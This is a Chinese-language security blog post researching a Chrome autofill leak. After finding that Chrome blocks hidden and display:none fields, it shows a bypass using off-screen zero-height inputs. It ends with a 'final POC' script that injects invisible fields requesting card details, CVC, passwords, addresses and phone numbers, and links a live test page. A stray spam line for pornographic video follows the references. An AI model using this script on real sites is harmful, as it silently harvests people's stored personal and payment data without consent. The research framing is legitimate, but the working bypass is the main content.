Chrome中“自動填充”安全性研究 2017-01-17

昨天看到了一篇關于Chrome自動填充安全相關的文章。

文章中提到:“自動填充是個非常方便地瀏覽器特性,不過該特性在 Chrome 上也會存在一定的信息泄露的風險。Chrome 最近才修復了某個久負盛名漏洞。簡單而言,黑客能夠利用自動填充竊取你并不想提交給該網站的信息

效果如下圖:

2062601358并提供了一段js來演示漏洞:

var autocompletes = ['name', 'honorific-prefix', 'given-name',
  'additional-name', 'family-name', 'honorific-suffix',
  'nickname', 'username', 'new-password',
  'current-password', 'organization-title', 'organization',
  'street-address', 'address-line1', 'address-line2',
  'address-line3', 'address-level4', 'address-level3',
  'address-level2', 'address-level1', 'country',
  'country-name', 'postal-code', 'cc-name', 'cc-given-name',
  'cc-additional-name', 'cc-family-name', 'cc-exp',
  'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
  'transaction-currency', 'transaction-amount',
  'language', 'bday', 'bday-day', 'bday-month',
  'bday-year', 'sex', 'url', 'photo', 'tel',
  'tel-country-code', 'tel-national',
  'tel-area-code', 'tel-local', 'tel-local-prefix',
  'tel-local-suffix', 'tel-extension', 'impp'
];

emailField.addEventListener('focus', function() {
  var wrap = autocompletes.reduce(function(wrapper, field) {
    var input = document.createElement('input');
    
    // Make them not focussable
    input.tabIndex = -1;
    input.autocomplete = field;
    
    wrapper.appendChild(input);
    return wrapper;
  }, document.createElement('div'));

  // Hide the wrapper
  wrap.classList.add('hidden');
  form.appendChild(wrap);

  // Inject the autocompletes once
  this.removeEventListener('focus', arguments.callee);
});

我在測試以后并沒有成功復現該漏洞(因為只提供了js代碼,html并沒有提供,稍微改了改代碼也沒有達到想要實現的效果)。

但是通過上述js代碼,基本能看出來是什么樣的原理。

autocomplete

html中要實現瀏覽器中的表單自動填充主要依靠于autocomplete屬性。

起初autocomplete屬性只支持onoff。比如下面代碼:

  First name:
  Last name: 
  E-mail: 

?

如上代碼對開啟了整個表單的autocomplete卻對email關閉了autocomplete,所以我們在點擊非email的其他表單即可打開自動填充功能:

2288363214

但在email中卻不能展開自動填充功能:

1565109030

后來HTML5標準加入了對autocomplete的支持,并且給autocomplete加入了更多的標示符,以保證讓瀏覽器準確的知道哪些信息對應著表單里的哪些字段。

比如如下代碼:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <fieldset>
         <legend>My Shop</legend>
         <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
         <p> <label> 地址:     <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
         <p> <label> 城市:        <input name=rc autocomplete="section-red shipping address-level2"> </label>
         <p> <label> 郵政編碼: <input name=rp autocomplete="section-red shipping postal-code"> </label>
        </fieldset>
    </body>
</html>

我在autocomplete屬性中寫入了語義化的字符,比如name、street-address等。

瀏覽器即可準確的把相應的信息填入到相應的表單中。

2624737967

惡意利用

如果能在用戶不知情的情況下,拿到用戶瀏覽器存儲的其他信息,即可造成很可怕的后果,那么我們就得讓用戶看不見我們的輸入框就好了。

通過如上demo我們可以發現,當我們選擇自動填充以后,chrome不僅會把當前表單字段填充到input中,也會把其他表單字段填充到input中。

type=hidden

那么如果我們寫一些typehiddeninput標簽,并且加上autocomplete屬性,chrome是否會自動補上帶有hidden屬性的input標簽的信息呢呢。

我們使用如下代碼:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
             <p> <label> 地址:     <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
             <p> <label> 城市:        <input name=rc autocomplete="section-red shipping address-level2"> </label>
             <p> <label> 郵政編碼: <input name=rp autocomplete="section-red shipping postal-code"> </label>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

我們將第一個姓名字段設置為hidden,然后使用自動填充,并且提交表單,查看請求包:

3499433145

發現type屬性為hidden的表單并沒有獲取到,但其他非hiddend的信息都拿到了。

display:none;

既然type設置成hidden瀏覽器不給信息,那么我們如果讓這個input表單讓用戶看不見,但瀏覽器認識呢?比如如下代碼:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
             <div style="display:none;">
                 <p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
                 <p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
                 <p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
             </div>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

我們在表單外層放一個div,讓整個div,display:none。

2462200021

然而也是不行的:

2771538459

看來chrome已經在這里做了足夠的手腳來防護這樣的問題。

其實在文章最初提供的js代碼也是使用這樣的方式來進行攻擊的。

看來現在已經被修復了。那么我們就沒有其他辦法實現了嗎?

讓用戶看不見,瀏覽器認識的魔法

我們現在要做的無疑是讓瀏覽器認識且沒有做防護,并且讓用戶看不見這個表單,我們的任務就達到了。

這樣的辦法有很多,比如這樣:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Browser autofill security</title>
    </head>
    <body>
        <form action="" method="post">
            <fieldset>
             <legend>My Shop</legend>
             <p> <label> 姓名:        <input name=rc autocomplete="section-red shipping name"> </label>
             <div style="margin-left:-1000px;height:0px;">
                 <p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
                 <p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
                 <p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
             </div>
             <p> <label>  <input type="submit" value="submit"> </label>
            </fieldset>
        </form>
    </body>
</html>

效果如下:

893637630

bingo??!

1116604249

實現讓用戶看不見,瀏覽器卻認識的辦法很多很多。

比如上面的,比如脫離文檔流,比如使用表單的所有東西設置成白色(讓用戶肉眼看不見即可),比如使用z-index調到下層,等等等等……

最終POC

var autocompletes = ['name', 'honorific-prefix', 'given-name',
    'additional-name', 'family-name', 'honorific-suffix',
    'nickname', 'username', 'new-password',
    'current-password', 'organization-title', 'organization',
    'street-address', 'address-line1', 'address-line2',
    'address-line3', 'address-level4', 'address-level3',
    'address-level2', 'address-level1', 'country',
    'country-name', 'postal-code', 'cc-name', 'cc-given-name',
    'cc-additional-name', 'cc-family-name', 'cc-exp',
    'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
    'transaction-currency', 'transaction-amount',
    'language', 'bday', 'bday-day', 'bday-month',
    'bday-year', 'sex', 'url', 'photo', 'tel',
    'tel-country-code', 'tel-national',
    'tel-area-code', 'tel-local', 'tel-local-prefix',
    'tel-local-suffix', 'tel-extension', 'impp'
    ];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";

for (x in autocompletes){
    var tmpInput = document.createElement('input');
    tmpInput.name = autocompletes[x];
    tmpInput.autocomplete = autocompletes[x];
    mydiv.appendChild(tmpInput);
}

myform.appendChild(mydiv);

在線測試地址:http://www.yaoqianglawyer.com/poc/autofill/

參考資料

  1. HTML標準 - 表單自動填充
  2. SegmentFault
一级A片不卡在线观看